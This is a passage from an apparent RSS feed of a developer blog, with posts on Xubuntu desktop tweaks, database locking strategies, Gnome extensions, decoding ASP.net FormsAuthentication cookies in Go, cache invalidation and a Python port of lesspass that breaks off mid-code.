      <guid>https://www.tqdev.com/2017-xubuntu-with-gedit-nautilus-and-plank/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m using Xubuntu (Ubuntu with XFCE) as my primary operating system, because it
is ridiculously fast on my NVMe SSD powered Intel NUC i7. By default Xubuntu
comes with &amp;ldquo;Thunar&amp;rdquo; installed as it&amp;rsquo;s file manager and &amp;ldquo;Mousepad&amp;rdquo; as the default
text editor. Mousepad is very limited in features and Thunar has some stability
issues. Reasons to replace them with the older (Gnome 2 era) tools &amp;ldquo;Gedit&amp;rdquo; and
&amp;ldquo;Nautilus&amp;rdquo;. Unfortunately in Xubuntu 16.04 these application have been changed
beyond recognition with added buttons to the title bars and a removed main menu.
Luckily some people forked the old Gedit and Nautilus and made them available
under the new names &amp;ldquo;Nemo&amp;rdquo; and &amp;ldquo;Pluma&amp;rdquo;.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;m using Xubuntu (Ubuntu with XFCE) as my primary operating system, because it
is ridiculously fast on my NVMe SSD powered Intel NUC i7. By default Xubuntu
comes with &ldquo;Thunar&rdquo; installed as it&rsquo;s file manager and &ldquo;Mousepad&rdquo; as the default
text editor. Mousepad is very limited in features and Thunar has some stability
issues. Reasons to replace them with the older (Gnome 2 era) tools &ldquo;Gedit&rdquo; and
&ldquo;Nautilus&rdquo;. Unfortunately in Xubuntu 16.04 these application have been changed
beyond recognition with added buttons to the title bars and a removed main menu.
Luckily some people forked the old Gedit and Nautilus and made them available
under the new names &ldquo;Nemo&rdquo; and &ldquo;Pluma&rdquo;.</p>
<p><a href="https://xubuntu.org/getxubuntu/">https://xubuntu.org/getxubuntu/</a></p>
<h3 id="replace-thunar-with-nemo-nautilus-fork">Replace Thunar with Nemo (Nautilus fork)</h3>
<p>Nemo is the file manager in Linux Mint. It is a fork of Nautilus and can be
found in Ubuntu&rsquo;s 16.04 repository, so it can be easily installed. It works
great and looks good too. You should select Nemo as the preferred file manager
application in the &ldquo;Utilities&rdquo; tab of the &ldquo;Preferred Applications&rdquo; application
(that you can find in the XFCE Main Menu under &ldquo;Settings&rdquo;). You should not
uninstall Thunar, because the rendering of the desktop icons still relies on it
and it is quite a hassle to let Nemo handle those. The only place this becomes
visible is in the context menu of the desktop icons. I can assure you that you
will hardly notice this. The second command below is to make the &ldquo;open in
terminal&rdquo; context menu entry work.</p>
<pre><code>sudo apt install nemo
gsettings set org.cinnamon.desktop.default-applications.terminal exec xfce4-terminal
</code></pre>
<h3 id="replace-mousepad-with-pluma-gedit-fork">Replace Mousepad with Pluma (Gedit fork)</h3>
<p>Pluma is the text editor in Ubuntu Mate. It an almost unchanged fork of Gedit.
It is also included in Ubuntu&rsquo;s 16.04 repository, so there is no need to use a
PPA. It is a very simple application that sports a nice set of plugins.
Alternatively you can install text editor &ldquo;Geany&rdquo;, also from the repositories,
that is also a good Gedit replacement with a wide variety of options and
plugins.</p>
<pre><code>sudo apt install pluma
</code></pre>
<h3 id="add-plank-as-a-dock-for-a-modern-feel">Add Plank as a dock for a modern feel</h3>
<p>In order to have a dock in Xubuntu I install the awesome tool &ldquo;Plank&rdquo;. You can
configure it by executing &ldquo;plank &ndash;preferences&rdquo; on the command line. Plank
provides a really user-friendly, fast and good looking dock that can be easily
maintained. You can simply add icons by dragging them from the main (Xubuntu)
menu to the dock. Removing is equally simple as you can simply drag the icons to
the desktop to make them disappear. Middle-click opens a new window, while left
click focusses and right click allows to close the application via a context
menu. I recommend this dock as it removes the classic Gnome feel from the
operating system and makes it look more like MacOS (especially when you put the
dock on the left).</p>
<pre><code>sudo apt install plank
plank --preferences
</code></pre>
<p>Enjoy a fast and good looking Linux!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Optimistic and pessimistic locking</title>
      <link>https://www.tqdev.com/2017-optimistic-and-pessimistic-locking/</link>
      <pubDate>Mon, 29 May 2017 02:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2017-optimistic-and-pessimistic-locking/</guid>
      <description>&lt;p&gt;One of the most misunderstood topics in software development is most likely
concurrency. There are three kinds of operations on data rows: reads, blind
(full) writes and dependent (or partial) writes. In a high concurrency web
application you typically do not need to lock for the first kind. Only need to
lock the write operation itself in the second case and you need to lock the row
for the entire duration between read and write in the third case.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>One of the most misunderstood topics in software development is most likely
concurrency. There are three kinds of operations on data rows: reads, blind
(full) writes and dependent (or partial) writes. In a high concurrency web
application you typically do not need to lock for the first kind. Only need to
lock the write operation itself in the second case and you need to lock the row
for the entire duration between read and write in the third case.</p>
<h3 id="the-diners-example">The diner&rsquo;s example</h3>
<p>The &ldquo;price list&rdquo; example is a (database table representing a) diner&rsquo;s menu with
items with a name and a price. There are two ladies running the diner, named
Alice and Carol. Alice takes care of the serving of the customers and Carol is
doing the cooking in the kitchen. Whenever an item is not selling Alice lowers
the price or Carol changes the way it is cooked slightly and reflects that in
the name. The price lists are printed regularly, but nevertheless in the case of
a change it takes a while before the customers see that on the menu.</p>
<h3 id="the-diners-computer">The diner&rsquo;s computer</h3>
<p>Alice and Carol are using a computer with database software that uses digital
forms. If you want to adjust an item on the price list you request a item change
form for a specific item. The form is filled with the actual data. You can then
change the data and click on &ldquo;Save&rdquo;. Remember that there are two terminals: one
in the kitchen and one on the counter.</p>
<h3 id="strategies">Strategies</h3>
<p><strong>1) Partial updates, without locks</strong></p>
<p>You can always request an item change form, and when you change a field and
submit, then only the changed fields are written to the database.</p>
<p><strong>Problem</strong>: Alice lowers the price and Carol changes the name and the result is
an item with a lower price and another name.</p>
<p><strong>2) Full updates only, without locks</strong></p>
<p>You can always request an item change form, and when you change a field and
submit, then all the item&rsquo;s fields are written to the database.</p>
<p><strong>Problem</strong>: Alice lowers the price and Carol changes the name and the last one
press submit &ldquo;wins&rdquo;, without necessarily having seen the other persons
adjustment.</p>
<p><strong>3) Optimistic locking, second update may fail when saving</strong></p>
<p>You can always request an item change form, and when you change a field and
submit, then all the item&rsquo;s original fields must match the fields in the
database before the update or the update will fail.</p>
<p><strong>Problem</strong>: Alice lowers the price and Carol changes the name and the last one
press submit &ldquo;fails&rdquo; and all input was lost.</p>
<p><strong>4) Pessimistic locking, second update cannot start</strong></p>
<p>You can only request an item change form when nobody else has one open, and when
you change a field and submit, that submit must happen within 5 minutes after
requesting the item change form or the update will fail.</p>
<p><strong>Problem</strong>: When Alice lowers the price Carol cannot change the name, but when
Alice does not make her change fast enough her input is &ldquo;lost&rdquo;.</p>
<p><strong>5) Exclusive locking, menus cannot be printed</strong></p>
<p>You can only request an item change form when nobody else has one open, and as
long as it is open you cannot print menus, you need to submit the form within 5
minutes or the update will fail.</p>
<p><strong>Problem</strong>: When Alice and Carol change the menu often you can almost never
print the menus and customers have to wait.</p>
<h3 id="less-locks-shorter-locks">Less locks, shorter locks</h3>
<p>You never want to hold locks longer or for a wider scope than necessary. In the
above case we cannot change the lock time, but if we are for instance keeping a
count of the number of hamburgers in stock, we may not do this through the &ldquo;item
change form&rdquo;, but through a &ldquo;stock decrement form&rdquo;. This way we may not have to
lock the item during entry of the data and Alice and Carol can enter their
hamburger orders concurrently.</p>
<p>Most business software nowadays use the &ldquo;full update, no locks&rdquo; method, but
sometimes this is not such a good fit. When it is not you should probably
consider &ldquo;optimistic locking&rdquo; with either a version column or the full row
state. If that does not ensure enough consistency it is probably a good idea to
look at &ldquo;pessimistic locking&rdquo;, but only if your do not have many updates. For
high traffic I recommend to look at entering (blind) &ldquo;change events&rdquo; instead of
going the locking route as locks can be a real threat for availability.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Dash to Panel for Ubuntu Gnome</title>
      <link>https://www.tqdev.com/2017-dash-to-panel-for-ubuntu-gnome/</link>
      <pubDate>Sun, 28 May 2017 22:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2017-dash-to-panel-for-ubuntu-gnome/</guid>
      <description>&lt;p&gt;We have heard months ago that Ubuntu is stopping with Unity and switching to
Gnome 3. I&amp;rsquo;m happy about this as I could never get used to Unity. For a long
time I used Xubuntu, which offered a Gnome 2 like experience with the
light-weight XFCE window manager. In order to get used what life will be with
Gnome 3 I
&lt;a href=&#34;https://wiki.ubuntu.com/UbuntuGNOME/GetUbuntuGNOME&#34;&gt;downloaded Ubuntu Gnome&lt;/a&gt;.
It has a 16.04 and a 17.04 release and I conservatively chose the 16.04 release.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>We have heard months ago that Ubuntu is stopping with Unity and switching to
Gnome 3. I&rsquo;m happy about this as I could never get used to Unity. For a long
time I used Xubuntu, which offered a Gnome 2 like experience with the
light-weight XFCE window manager. In order to get used what life will be with
Gnome 3 I
<a href="https://wiki.ubuntu.com/UbuntuGNOME/GetUbuntuGNOME">downloaded Ubuntu Gnome</a>.
It has a 16.04 and a 17.04 release and I conservatively chose the 16.04 release.</p>
<h3 id="nice-colors">Nice colors</h3>
<p>It has a nice color scheme, a bit more professional than the purple/brown of
standard Ubuntu. It uses the (light/white) Adwaita theme by default and combines
that with some shades of blue. This is very suitable for everyday work as it
looks quite professional. I chose to run it with the built-in &ldquo;Road.jpg&rdquo;
background that has a nice light-brown to dark-blue gradient.</p>
<h3 id="a-familiar-user-interface-with-gnome-extensions">A familiar user interface with Gnome extensions</h3>
<p>There are two extensions worth exploring
&ldquo;<a href="https://extensions.gnome.org/extension/307/dash-to-dock/">Dash-to-dock</a>&rdquo; and
&ldquo;<a href="https://extensions.gnome.org/extension/1160/dash-to-panel/">Dash-to-panel</a>&rdquo;.
Both change the behavior of the dash that both change the behavior of Gnome to
resemble either OSX (dock) or Windows 10 (panel). I especially like
&ldquo;Dash-to-panel&rdquo; as I often have to use Windows and this resembles it pretty
good. As a bonus I install the
&ldquo;<a href="https://extensions.gnome.org/extension/97/coverflow-alt-tab/">Coverflow Alt-Tab</a>&rdquo;
extension, the
&ldquo;<a href="https://extensions.gnome.org/extension/6/applications-menu/">Applications Menu</a>&rdquo;
extension and the well-known &ldquo;Microsoft fonts for Linux&rdquo; package
&ldquo;ttf-mscorefonts-installer&rdquo;.</p>
<h3 id="tweaks-for-optimal-experience">Tweaks for optimal experience</h3>
<p>For an optimal experience I configured the Dash-To-Panel extension from the
built-in &ldquo;Tweak Tool&rdquo;. It allows me to make the following modifications:</p>
<ul>
<li>Desktop: Turn on &ldquo;Icons on desktop&rdquo; and enable &ldquo;Home&rdquo;, &ldquo;Trash&rdquo; and &ldquo;Mounted
Volumes&rdquo;</li>
<li>Windows: Turn on &ldquo;Maximize&rdquo; and &ldquo;Minimize&rdquo; buttons</li>
<li>Workspaces: Set creation to &ldquo;Static&rdquo; and the number to &ldquo;1&rdquo;</li>
</ul>
<p>In the &ldquo;Dash-to-panel&rdquo; extension configuration I have adjusted the following:</p>
<ul>
<li>Position and Style: For &ldquo;Running indicator style&rdquo; select &ldquo;Metro&rdquo;</li>
<li>Position and Style: For &ldquo;Clock location&rdquo; select &ldquo;Right of status menu&rdquo;</li>
<li>Behavior: Turn off &ldquo;Show Applications icon&rdquo;</li>
<li>Behavior: Turn on &ldquo;Show Desktop button&rdquo;</li>
</ul>
<p>As a bonus I installed
&ldquo;<a href="https://extensions.gnome.org/extension/800/remove-dropdown-arrows/">Remove Dropdown Arrows</a>&rdquo;
which is just a cosmetic change that removes some unnecessary triangle icons
next to the clock and status icons. With all these tweaks my Linux feels a lot
like an improved version of Windows (or just like Linux Mint).</p>
<h3 id="expensive-redraws">Expensive redraws</h3>
<p>The CPU usage of my Intel i7 NUC was noticable higher with Gnome 3 when playing
music. I first thought this had to do with the full-disk encryption. Later I
found out that it was Audacious that was doing a lot of redraws, which actually
costed a lot of CPU power. When I turned off the visualizer and song title
scrolling (in classic WinAmp mode) the CPU usage dropped.</p>
<p>Gnome 3 is noticeable heavier than XFCE, but if you configure it carefully the
difference is acceptable and the gain in eye-candy and user friendliness is (for
me) big enough to justify it.</p>
]]></content:encoded>
    </item>
    <item>
      <title>ASP.net FormsAuthentication in Go</title>
      <link>https://www.tqdev.com/2016-asp-net-formsauthentication-in-go/</link>
      <pubDate>Thu, 27 Apr 2017 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-asp-net-formsauthentication-in-go/</guid>
      <description>&lt;p&gt;If you are currently developing a monolithic ASP.net legacy system you are
probably dreaming about migrating all functionality step-by-step to a modern
micro-service design with cheap Linux servers running Go. If you aren&amp;rsquo;t, then
you should! But in order to do this super-stealth (without your boss finding
out) you need to do this one API call at a time. Sounds easy.. if only&amp;hellip; you
were able to read ASP.net&amp;rsquo;s proprietary encrypted (secure) cookies. Well, I&amp;rsquo;ve
got good news for you: Now you can!&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>If you are currently developing a monolithic ASP.net legacy system you are
probably dreaming about migrating all functionality step-by-step to a modern
micro-service design with cheap Linux servers running Go. If you aren&rsquo;t, then
you should! But in order to do this super-stealth (without your boss finding
out) you need to do this one API call at a time. Sounds easy.. if only&hellip; you
were able to read ASP.net&rsquo;s proprietary encrypted (secure) cookies. Well, I&rsquo;ve
got good news for you: Now you can!</p>
<h3 id="aspnetcookie-in-go--formsauthentication-in-aspnet">aspnetcookie (in Go) = FormsAuthentication (in ASP.net)</h3>
<p>I created <a href="https://github.com/mevdschee/aspnetcookie">&ldquo;aspnetcookie&rdquo;</a> a Go
implementation of ASP.net&rsquo;s
<a href="https://referencesource.microsoft.com/#System.Web/Security/FormsAuthentication.cs">(now open sourced)</a>
FormsAuthentication. Tell your boss you need to switch your ASP.net application
to FormsAuthentication with SHA1 AES encryption in your Web.config file (you
could argue that that is needed for security and scalability reasons) and you
are good to go. In order to ensure that you can migrate specific API calls per
release you need to put a &ldquo;Layer 7 (Application) Load Balancer&rdquo; like &ldquo;Amazon
ALB&rdquo;, &ldquo;HAProxy&rdquo; or even just &ldquo;Nginx&rdquo; in front of your webserver. You may argue
that those are better at &ldquo;SSL offloading&rdquo; than your expensive Windows boxes.</p>
<h3 id="why-go">Why Go?</h3>
<p>Go runs faster and is better at parallel execution than .net. It also compiles
to executables that can be easily shipped to the target computer as they can
easily be cross-compiled and contain all dependencies. It is designed by the
people behind C and they tried to take all the good parts of C and combined them
with all the good parts in more modern languages; I feel they succeeded. It
compiles super fast and does so on any platform. It really is the ideal language
for micro services.</p>
<h3 id="ci-continuous-integration">CI: Continuous Integration</h3>
<p>I wanted to make this pretty, so for this Go project I have set up continuous
integration and coverage registration using
<a href="https://travis-ci.org/mevdschee/aspnetcookie/builds">TravisCI</a> and
<a href="https://coveralls.io/builds/9034262/source?filename=aspnetcookie.go">Coverall</a>.
It allows you to see whether or not the unit or functional tests succeed or fail
on every commit. It also registers the percentage of coverage that the code has.
Both services are free for open-source projects. Check out the links. Awesome
isn&rsquo;t it?</p>
<h3 id="immediate-feedback-matters">Immediate feedback matters</h3>
<p>It is very important to immediately know whether or not a commit has broken a
test. I feel that automated tests almost always pay off. Not (only) because they
save on testing time, but also because they make you reconsider every line of
code and allow you to refactor (and do other software maintenance) with less
risk. It is also important to see which lines are not covered with tests yet.
This allows you to ensure that your tests are &ldquo;complete&rdquo; or not.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Implementing cache invalidation is wrong</title>
      <link>https://www.tqdev.com/2017-implementing-cache-invalidation-is-wrong/</link>
      <pubDate>Tue, 18 Apr 2017 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2017-implementing-cache-invalidation-is-wrong/</guid>
      <description>&lt;p&gt;There, I&amp;rsquo;ve said it!
&lt;a href=&#34;http://tqdev.com/2016-active-cache-invalidation-anti-pattern&#34;&gt;Again&lt;/a&gt;! It is my
firm belief that it is. Instead of arguing why this is true I will try to negate
the argument I hear most often from people arguing otherwise. In this post I am
talking about a primary (data) store and a cache. It may help to think about a
cache as a Redis or Memcache instance used by a web server and about the primary
data store as a relational database server (MariaDB for instance).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>There, I&rsquo;ve said it!
<a href="http://tqdev.com/2016-active-cache-invalidation-anti-pattern">Again</a>! It is my
firm belief that it is. Instead of arguing why this is true I will try to negate
the argument I hear most often from people arguing otherwise. In this post I am
talking about a primary (data) store and a cache. It may help to think about a
cache as a Redis or Memcache instance used by a web server and about the primary
data store as a relational database server (MariaDB for instance).</p>
<blockquote>
<p>By removing or updating the affected cache records on an update to the primary
store we can ensure that the data that is in the cache is always correct.</p></blockquote>
<h3 id="transactions-matter">Transactions matter</h3>
<p>This is only true under the condition that you can detect the failure of a cache
update and that you are willing to fail the transaction that writes to the
primary store when the cache update or removal fails. If your cache update may
silently fail, then you cannot ensure that the cache is correct. If your cache
update is not part of the transaction of the primary store then even a
non-silent failure will break the consistency of the cached data. Typically the
query cache of a database system and the memory mapper of a disk driver are
implemented in as a transactional cache and are thus always correct (but never
complete, I&rsquo;ll get to that later).</p>
<h3 id="re-inventing-the-wheel">Re-inventing the wheel</h3>
<p>A transactional cache must be tightly bound to the implementation of the primary
store in order to be efficient. Your database for instance already has a local
transactional memory cache in the form of query cache. If you want to trade
write for read performance you may distribute this cache using a transactional
replication method. Bottom line is that if you are building a cache system for
your database you are most likely re-implementing an already existing and proven
system. So either you are doing something that has already been done, or your
implementation is not transactional and thus wrong/unreliable.</p>
<h3 id="embrace-inconsistency">Embrace inconsistency</h3>
<p>I feel that it is better to accept that the data in the cache is not consistent
with the data in the primary store and talk about a data contract or promise.
Not all your data fits in your cache. Your cache must be faster and smaller than
your primary data store. If it was big enough you would make it your primary
store. If it isn&rsquo;t faster, then you should not use it. therefore we cannot rely
on the data being available in the cache. When cannot ensure all data in the
cache is correct either, because then we would have to verify this in the
primary store, which makes the cache lookup slower than the primary store lookup
(as it is doing both).</p>
<h3 id="expiration-and-eviction">Expiration and eviction</h3>
<p>There are two methods to remove data from a cache: eviction and expiration. When
the cache is full &ldquo;eviction&rdquo; needs to happen. The least important data is
removed to make room for more important data. Often a &ldquo;least recently used&rdquo;
(LRU) algorithm is used. The other method to remove data from a cache is by
expiration. Expiration assigns a time-to-live (TTL) to each of the cache records
and when the time-to-live is reached the data will be removed.</p>
<h3 id="hits-and-misses">Hits and misses</h3>
<p>Removal of data is not a problem, as it causes the data to be &ldquo;refreshed&rdquo;. When
data is requested from a cache we talk about a &ldquo;hit&rdquo; or a &ldquo;miss&rdquo;. On a miss
&ldquo;fresh&rdquo; data is retrieved from the primary store and also stored in the cache to
enable hits on subsequent requests. In case of a hit the data from the cache is
served, without checking it&rsquo;s &ldquo;freshness&rdquo; in the primary store. Data retrieval
is sometimes slow and accurate, but often fast and the data is never older than
the TTL. That is a clear contract that we can build our systems around.</p>
<p>My advice: keep it simple, don&rsquo;t implement invalidation!</p>
]]></content:encoded>
    </item>
    <item>
      <title>A lesspass implementation in Python</title>
      <link>https://www.tqdev.com/2017-a-lesspass-implementation-in-python/</link>
      <pubDate>Thu, 30 Mar 2017 08:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2017-a-lesspass-implementation-in-python/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://lesspass.com&#34;&gt;Lesspass&lt;/a&gt; is a password manager without a database.
Although I&amp;rsquo;m not 100% sure that it is secure, I am 100% sure that passwords are
a problem that needs to be solved. Lesspass allows you to generate a password
from a site name and a master password with certain characteristics. To do so it
applies a 100000 iteration pbkdf2 algorithm using a SHA256 hash. It sounds good
to me and I like the way that that is supposed to work.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p><a href="https://lesspass.com">Lesspass</a> is a password manager without a database.
Although I&rsquo;m not 100% sure that it is secure, I am 100% sure that passwords are
a problem that needs to be solved. Lesspass allows you to generate a password
from a site name and a master password with certain characteristics. To do so it
applies a 100000 iteration pbkdf2 algorithm using a SHA256 hash. It sounds good
to me and I like the way that that is supposed to work.</p>
<h3 id="didnt-you-write-a-port-to-php">Didn&rsquo;t you write a port to PHP?</h3>
<p>Yes, there are ports to other languages as well (to
<a href="https://github.com/mevdschee/lesspass.go">Go</a> for instance) and I recently did
a port to <a href="https://github.com/mevdschee/lesspass.php">PHP</a>. Fortunately the
<a href="https://github.com/lesspass/core/tree/master">original code</a> has some
functional and unit tests, so it is quite easy to check whether or not your
implementation works correctly.</p>
<h3 id="python-implementation-of-lesspass">Python implementation of lesspass</h3>
<p>In order to make it easy for others to create lesspass based tools I implemented
the core of lesspass to Python. I made the code so, that it runs both on Python
2 as on Python 3. I tried to use as little dependencies as I could and of course
I implemented all tests. This is the code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">binascii</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">CHARACTER_SUBSETS</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;lowercase&#39;</span><span class="p">:</span> <span class="s1">&#39;abcdefghijklmnopqrstuvwxyz&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;uppercase&#39;</span><span class="p">:</span> <span class="s1">&#39;ABCDEFGHIJKLMNOPQRSTUVWXYZ&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;numbers&#39;</span><span class="p">:</span> <span class="s1">&#39;0123456789&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;symbols&#39;</span><span class="p">:</span> <span class="s1">&#39;!&#34;#$%&amp;</span><span class="se">\&#39;</span><span class="s1">()*+,-./:;&lt;=&gt;?@[</span><span class="se">\\</span><span class="s1">]^_`{|}~&#39;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">get_password_profile</span><span class="p">(</span><span class="n">password_profile</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">default_password_profile</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;lowercase&#39;</span><span class="p">:</span> <span class="kc">True</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;uppercase&#39;</span><span class="p">:</span> <span class="kc">True</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;numbers&#39;</span><span class="p">:</span> <span class="kc">True</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;symbols&#39;</span><span class="p">:</span> <span class="kc">True</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;digest&#39;</span><span class="p">:</span> <span class="s1">&#39;sha256&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;iterations&#39;</span><span class="p">:</span> <span class="mi">100000</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;keylen&#39;</span><span class="p">:</span> <span class="mi">32</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;length&#39;</span><span class="p">:</span> <span class="mi">16</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;counter&#39;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;version&#39;</span><span class="p">:</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">result</span> <span class="o">=</span> <span class="n">default_password_profile</span><span class="o">.</span><span class="n">copy</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">password_profile</span> <span class="o">!=</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">result</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">password_profile</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">result</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">generate_password</span><span class="p">(</span><span class="n">site</span><span class="p">,</span> <span class="n">login</span><span class="p">,</span> <span class="n">master_password</span><span class="p">,</span> <span class="n">password_profile</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">password_profile</span> <span class="o">=</span> <span class="n">get_password_profile</span><span class="p">(</span><span class="n">password_profile</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">entropy</span> <span class="o">=</span> <span class="n">calc_entropy</span><span class="p">(</span><span class="n">site</span><span class="p">,</span> <span class="n">login</span><span class="p">,</span> <span class="n">master_password</span><span class="p">,</span> <span class="n">password_profile</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">render_password</span><span class="p">(</span><span class="n">entropy</span><span class="p">,</span> <span class="n">password_profile</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">calc_entropy</span><span class="p">(</span><span class="n">site</span><span class="p">,</span> <span class="n">login</span><span class="p">,</span> <span class="n">master_password</span><span class="p">,</span> <span class="n">password_profile</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">salt</span> <span class="o">=</span> <span class="n">site</span> <span class="o">+</span> <span class="n">login</span> <span class="o">+</span> <span class="nb">hex</span><span class="p">(</span><span class="n">password_profile</span><span class="p">[</span><span class="s1">&#39;counter&#39;</span><span class="p">])[</span><span class="mi">2</span><span class="p">:]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">binascii</span><span class="o">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">hashlib</span><span class="o">.</span><span class="n">pbkdf2_hmac</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">password_profile</span><span class="p">[</span><span class="s1">&#39;digest&#39;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">        <span class="n">master_password</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="n">salt</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="n">password_profile</span><span class="p">[</span><span class="s1">&#39;iterations&#39;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">        <span class="n">password_profile</span><span class="p">[</span><span class="s1">&#39;keylen&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">get_set_of_characters</span><span class="p">(</span><span class="n">rules</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">rules</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="n">CHARACTER_SUBSETS</span><span class="p">[</span><span class="s1">&#39;lowercase&#39;</span><span class="p">]</span> <span class="o">+</span>
</span></span><span class="line"><span class="cl">            <span class="n">CHARACTER_SUBSETS</span><span class="p">[</span><span class="s1">&#39;uppercase&#39;</span><span class="p">]</span> <span class="o">+</span>
</span></span><span class="line"><span class="cl">            <span class="n">CHARACTER_SUBSETS</span><span class="p">[</span><span class="s1">&#39;numbers&#39;</span><span class="p">]</span> <span class="o">+</span>
</span></span><span class="line"><span class="cl">            <span class="n">CHARACTER_SUBSETS</span><span class="p">[</span><span class="s1">&#39;symbols&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">set_of_chars</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">rule</span> <span class="ow">in</span> <span class="n">rules</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">set_of_chars</span> <span class="o">+=</span> <span class="n">CHARACTER_SUBSETS</span><span class="p">[</span><span class="n">rule</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">set_of_chars</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">consume_entropy</span><span class="p">(</span><span class="n">generated_password</span><span class="p">,</span> <span class="n">quotient</span><span class="p">,</span> <span class="n">set_of_characters</span><span class="p">,</span> <span class="n">max_length</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">generated_password</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="n">max_length</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="p">[</span><span class="n">generated_password</span><span class="p">,</span> <span class="n">quotient</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">quotient</span><span class="p">,</span> <span class="n">remainder</span> <span class="o">=</span> <span class="nb">divmod</span><span class="p">(</span><span class="n">quotient</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">set_of_characters</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="n">generated_password</span> <span class="o">+=</span> <span class="n">set_of_characters</span><span class="p">[</span><span class="n">remainder</span><span class="p">]</span>
